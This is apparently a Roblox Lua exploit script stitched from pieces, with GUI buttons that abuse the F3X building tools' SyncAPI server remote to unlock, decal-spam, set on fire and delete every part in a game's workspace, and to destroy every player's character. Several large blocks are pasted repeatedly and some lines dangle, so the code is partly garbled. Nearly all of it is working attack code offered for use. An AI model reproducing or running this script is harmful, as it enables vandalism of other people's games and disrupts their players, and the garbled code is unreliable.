function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("107003562722788")
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT DELETE THIS LEAVE MY CREDIT
-- Rain Toad Script By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-200, 200)
local randint2 = math.random(-200, 200)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 0
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 40), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "shrek daddy owo") -- Here the name of the toad changes
SetAnchor(true, v)
AddMesh(v)
Resize(v, Vector3.new(10, 18, 3), v.CFrame)
MeshResize(v, Vector3.new(1, 1, 1))
SetMesh(v, "4532642502") -- Here put it A custom mesh
SetTexture(v, "4532642578") -- X2
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("98314626230473") -- Here they change the skybox id
-- Delete this if you are going to Use it in another script
-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.66, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "alot of burn (may fuck up ur ping)"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 17
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
wait(0.5)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
wait(0.5)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
wait(0.5)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
wait(0.5)
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.66, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "PATRICK."
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Krab(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,76,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽﷽")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"455783801")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(1,1,1))
SetLocked(v,true)
end
end
end
Krab("106211613892663")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.66, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "big fire"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local function applyDecorationToPart(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 20
}
}
}
local buildingTools = nil
local player = game:GetService("Players").LocalPlayer
-- Search for the tool in Character and Backpack
for _, item in pairs(player.Character:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
buildingTools = item
break
end
end
if not buildingTools then
for _, item in pairs(player.Backpack:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
buildingTools = item
break
end
end
end
if buildingTools then
buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsCreate))
buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsSync))
elseif not warned then
warn("Building tool not found")
warned = true
end
end
local function applyDecorationToAllParts(workspaceObject)
for _, obj in pairs(workspaceObject:GetDescendants()) do
if obj:IsA("Part") or obj:IsA("MeshPart") then
applyDecorationToPart(obj)
end
end
end
applyDecorationToAllParts(workspace)
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.66, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "delete all"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
wait(0.5)
local function unanchor(part)
local buildingTools = nil
local player = game:GetService("Players").LocalPlayer
for _, item in pairs(player.Character:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
buildingTools = item
break
end
end
if not buildingTools then
for _, item in pairs(player.Backpack:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
buildingTools = item
break
end
end
end
if buildingTools then
local syncAPI = buildingTools:FindFirstChild("SyncAPI")
if syncAPI then
local serverEndpoint = syncAPI:FindFirstChild("ServerEndpoint")
if serverEndpoint then
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverEndpoint:InvokeServer(unpack(args))
end
end
end
end
local function unanchorAllParts(workspaceObject)
for _, obj in pairs(workspaceObject:GetDescendants()) do
if obj:IsA("Part") or obj:IsA("MeshPart") then
unanchor(obj)
end
end
end
unanchorAllParts(workspace)
end)
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(1, 0, 0, 40)
titleLabel.Position = UDim2.new(0, 0, 0.7, 1)
titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
titleLabel.BorderSizePixel = 0
